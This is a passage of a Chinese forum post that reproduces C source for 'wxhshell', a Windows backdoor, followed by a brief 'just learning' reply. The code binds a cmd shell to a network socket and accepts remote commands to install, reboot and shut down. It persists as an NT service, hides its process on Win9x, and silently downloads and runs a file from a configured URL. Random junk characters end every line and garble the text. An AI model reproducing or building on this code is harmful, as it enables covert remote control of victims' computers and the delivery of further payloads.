  if(DownloadFile(cmd,wsh)) '=K of1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q ~Q)'*m  
  else bhqq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iy.%kHC  
  } B/sBYVU  
  else { `J=1&ae{  
lA.;ZD!  
    switch(cmd[0]) { ^L8Wn6s'  
  g<rKV+$6  
  // 帮助 xf^<ec  
  case '?': { C7jc6(> m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )pZekh]v  
    break; o1#:j?sN  
  } n(Q\' ,C  
  // 安装 "'F;lzq  
  case 'i': { &G pA1  
    if(Install()) WBw M;S#%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0 .FHdJ<  
    else I NPYJ#%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pn+IJ=0Y  
    break; Tbi]oB#  
    } W8G9rB|T  
  // 卸载 ib(>vp$V  
  case 'r': { &$b\=  
    if(Uninstall()) ] ;pf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 43J\8WBn@  
    else 'n l RY5@2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,W1a<dl  
    break; m1hW<  
    } @q> ktE_  
  // 显示 wxhshell 所在路径 d`9W  
  case 'p': { XDpfpJ,z"}  
    char svExeFile[MAX_PATH]; mfeMmKFu\  
    strcpy(svExeFile,"\n\r"); RHwaJ;:)#  
      strcat(svExeFile,ExeFile); |RR%bQ^{  
        send(wsh,svExeFile,strlen(svExeFile),0); B]^>GH  
    break; @%EE0)IA  
    } #cj\~T.,,  
  // 重启 Gh]_L+  
  case 'b': { )YzHk ;(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Sc1+(z  
    if(Boot(REBOOT)) k]SAJ~bS|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HYjMNj0  
    else { ^w:OS5%R  
    closesocket(wsh); JkSdLj  
    ExitThread(0); ~Na=+}.q_  
    } j>0<#SYBu  
    break; L@{!r=%_>  
    } 4GG1E. z}  
  // 关机 ^Yj"RM$;N  
  case 'd': { *2JH_Cj`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tmO;:n<N  
    if(Boot(SHUTDOWN)) a'@-"qk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [_y9"MMwn  
    else { xT9Yes&  
    closesocket(wsh); .M DYGWKt  
    ExitThread(0); T*h!d(  
    } T)WZ_bR  
    break; 5cD XWF  
    } %&^Q(f  
  // 获取shell 1<xcMn0et  
  case 's': {  28nmQ  
    CmdShell(wsh); %mY|  
    closesocket(wsh); `1nRcY  
    ExitThread(0);  f>.4-a?  
    break; Tr}R`6d$  
  } {5T0RL{\N  
  // 退出 M'yO+bu  
  case 'x': { ^9&b+u=X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [^<SLTev  
    CloseIt(wsh); (# JMB)  
    break; '@'B>7C#  
    } ecn}iN  
  // 离开 >@^<S_KVh  
  case 'q': { 9'1hjd3k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 31WZJm^  
    closesocket(wsh); q1H=/[a  
    WSACleanup(); KwS`3 6:  
    exit(1); :~yzDk\I"-  
    break; e#tIk;9Xz  
        } Q Q@9_[N  
  } X]qCS0GD'  
  } S|HY+Z6n'  
aiYo8+{!#  
  // 提示信息 ;t}'X[U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >A3LA3( c  
} ~%`EeJwT  
  } M~-h-tG  
C1 W>/?XC  
  return; Y+FP   
} lqF>=15  
;TtaH  
// shell模块句柄 o~= iy  
int CmdShell(SOCKET sock) bZ/ hgqS  
{ pDGT@qJ  
STARTUPINFO si; iAK/d)bq  
ZeroMemory(&si,sizeof(si)); T)8p:}P!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6#E7!-u(-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a2o.a 2  
PROCESS_INFORMATION ProcessInfo; VUp. j  
char cmdline[]="cmd"; z=qWJQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q-YL]PgV  
  return 0; :<|Z.4}kJb  
} 0pD[7~^o  
}wfI4?}j}  
// 自身启动模式 ]oEQ4  
int StartFromService(void) n'yl)HA~>`  
{ k52QaMKa~A  
typedef struct |CwG3&8  
{ fWj@e"G  
  DWORD ExitStatus; _%%yV  
  DWORD PebBaseAddress; ,ijW(95{k  
  DWORD AffinityMask; .U 39nd  
  DWORD BasePriority; &U&Zo@ot"x  
  ULONG UniqueProcessId; ugI#ZFjJWE  
  ULONG InheritedFromUniqueProcessId; zka?cOmYF[  
}   PROCESS_BASIC_INFORMATION; Wab.|\c  
+ 8f>^*:u  
PROCNTQSIP NtQueryInformationProcess; OF8WDo`  
ds]?;l"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dKm`14f]@G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  i S  
D"cKlp-I6|  
  HANDLE             hProcess; ,E?4f @|X  
  PROCESS_BASIC_INFORMATION pbi; xQo~%wW,?  
FZp<|t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pDOM:lGya  
  if(NULL == hInst ) return 0; ^wJEfac  
xl8#=qmCD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6.'$EtH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j&CZ=?K^c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3D[=b%2\  
H* /&A9("  
  if (!NtQueryInformationProcess) return 0; /PqUXF  
BC({ EE~R)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JpK[&/Ct  
  if(!hProcess) return 0; SKR;wu  
_R74/|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;& ~929  
E eB3 }  
  CloseHandle(hProcess); -NzTqLBn  
Pbe7SRdr^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bMmra.x4L  
if(hProcess==NULL) return 0; ln#\sA?iG  
W 2<3C  
HMODULE hMod; Ek ZjO Ci  
char procName[255];  F\LsI;G  
unsigned long cbNeeded; io2@}xZF  
l.oBcg[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Cs4hgb|  
yW("G-Nm  
  CloseHandle(hProcess); iyj3QLqE  
j#3m|dQ  
if(strstr(procName,"services")) return 1; // 以服务启动 hVUIBJ/5(-  
v=p0 +J>  
  return 0; // 注册表启动 iBoEZEHjw  
} M&yqfb[  
Dm%%e o  
// 主模块 v[&'k\  
int StartWxhshell(LPSTR lpCmdLine) # X/Q  
{ _whF^g8  
  SOCKET wsl; y|sma;D  
BOOL val=TRUE; 9m8ee&,  
  int port=0; dy:d=Z  
  struct sockaddr_in door; ~`R1sSr"  
M#a&\cqC  
  if(wscfg.ws_autoins) Install(); }OrYpZob  
Qra>}e%*  
port=atoi(lpCmdLine); zfjw;sUX  
bulboyA&#  
if(port<=0) port=wscfg.ws_port; >^3zU   
?9e]   
  WSADATA data; FkB{ SC J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IN^_BKQt  
+(mL~td01  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |C D}<r(N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); % {Q-8w!  
  door.sin_family = AF_INET; K@r*;T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); JJ5C}`(  
  door.sin_port = htons(port); 2-v\3voN  
hZN<Yd8:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9=$ !gC)  
closesocket(wsl); [6R fS  
return 1; ow.j+ <M  
} #C\4/g? =,  
&+r 4  
  if(listen(wsl,2) == INVALID_SOCKET) { @\}YAa>>"I  
closesocket(wsl); Bq!cY Wj  
return 1; M<[ ?g5=#  
} B*,?C]0{  
  Wxhshell(wsl); 8#59iQl  
  WSACleanup(); ]US[5)EL-  
3k' .(P|F  
return 0; HC7JMj  
8R xc&`_X  
} 3ATjsOL  
>5Lexj  
// 以NT服务方式启动 x~/+RF XF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )i!^]|$   
{ ^\wl2  
DWORD   status = 0; %j{.0 H  
  DWORD   specificError = 0xfffffff; J_ J+cRwq  
%^.P~s6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f=I:DkR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k^%_V|&W/(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5I,$EGG  
  serviceStatus.dwWin32ExitCode     = 0; 8#f$rs(}  
  serviceStatus.dwServiceSpecificExitCode = 0; |F!F{d^p  
  serviceStatus.dwCheckPoint       = 0; d^84jf.U  
  serviceStatus.dwWaitHint       = 0; `="v>qN2\  
_!AJiP3!)4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oJY[{-qW  
  if (hServiceStatusHandle==0) return; }*kJ-q&0  
z[&s5"  
status = GetLastError(); b3U6;]|x  
  if (status!=NO_ERROR) C6@t  
{ +Me2U9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yFM>T\@  
    serviceStatus.dwCheckPoint       = 0; 40K2uT{cq  
    serviceStatus.dwWaitHint       = 0; 9 P"iuU  
    serviceStatus.dwWin32ExitCode     = status; /EFq#+6  
    serviceStatus.dwServiceSpecificExitCode = specificError; [Ox(.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dip*}8$o(w  
    return; 1D{#rA.X  
  } {}\CL#~y  
|E|6=%^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n Ga1a  
  serviceStatus.dwCheckPoint       = 0; 8wIK:   
  serviceStatus.dwWaitHint       = 0; crn k|o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  5$Kf]ZP  
} '29WscU  
,w`~K:b.  
// 处理NT服务事件,比如:启动、停止 Rd! 2\|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U e*$&VlT  
{ C\Ayv)S #2  
switch(fdwControl) ^:DyT@hQB5  
{ y/R+$h(%  
case SERVICE_CONTROL_STOP: yQ[u3tI  
  serviceStatus.dwWin32ExitCode = 0; }kPVtSQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a [C&e,)}  
  serviceStatus.dwCheckPoint   = 0; E`xU m9F  
  serviceStatus.dwWaitHint     = 0; $G[KT):N  
  { r95zP]T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X8CVY0<o  
  } Lt>7hBe"  
  return; b UvK  
case SERVICE_CONTROL_PAUSE: 6tdI6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; knSuzq%*  
  break; v2J0u:#,  
case SERVICE_CONTROL_CONTINUE: g42T#p8^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  ;Qa;@  
  break; 4<}A]BQVkJ  
case SERVICE_CONTROL_INTERROGATE: "DjU:*'  
  break; \cZfg%PN  
}; Z[} $n-V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }1m_o@{3P  
} OCW+?B;  
A,c'g}:  
// 标准应用程序主函数 t!jwY/T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) re uYTH  
{ 0<&M?^  
@HEPc95  
// 获取操作系统版本 YMu)  
OsIsNt=GetOsVer(); ]u=Ca#!'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y/P]5: =h  
AZ wa4n}"  
  // 从命令行安装 HV\"T(8 9  
  if(strpbrk(lpCmdLine,"iI")) Install(); Cef7+fa  
3!Bj{;A  
  // 下载执行文件 ^<;w+%[MT  
if(wscfg.ws_downexe) { XGIpUz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k7Oy5$##  
  WinExec(wscfg.ws_filenam,SW_HIDE); l* Y[^'  
} B] i:)   
7@P656{  
if(!OsIsNt) { /*P7<5n0  
// 如果时win9x,隐藏进程并且设置为注册表启动 |nm2Uy/0  
HideProc(); ifrq  
StartWxhshell(lpCmdLine); C BlXC7_Mi  
} XRa#2 1pQ  
else {!t=n   
  if(StartFromService()) ][t 6VA  
  // 以服务方式启动 hbnS~sva  
  StartServiceCtrlDispatcher(DispatchTable); mJ$Htyr  
else XnA6/^  
  // 普通方式启动 M=+M8M`Iy  
  StartWxhshell(lpCmdLine); H),RA]S  
~ B]jV$=  
return 0; ^0Q'./A{&  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八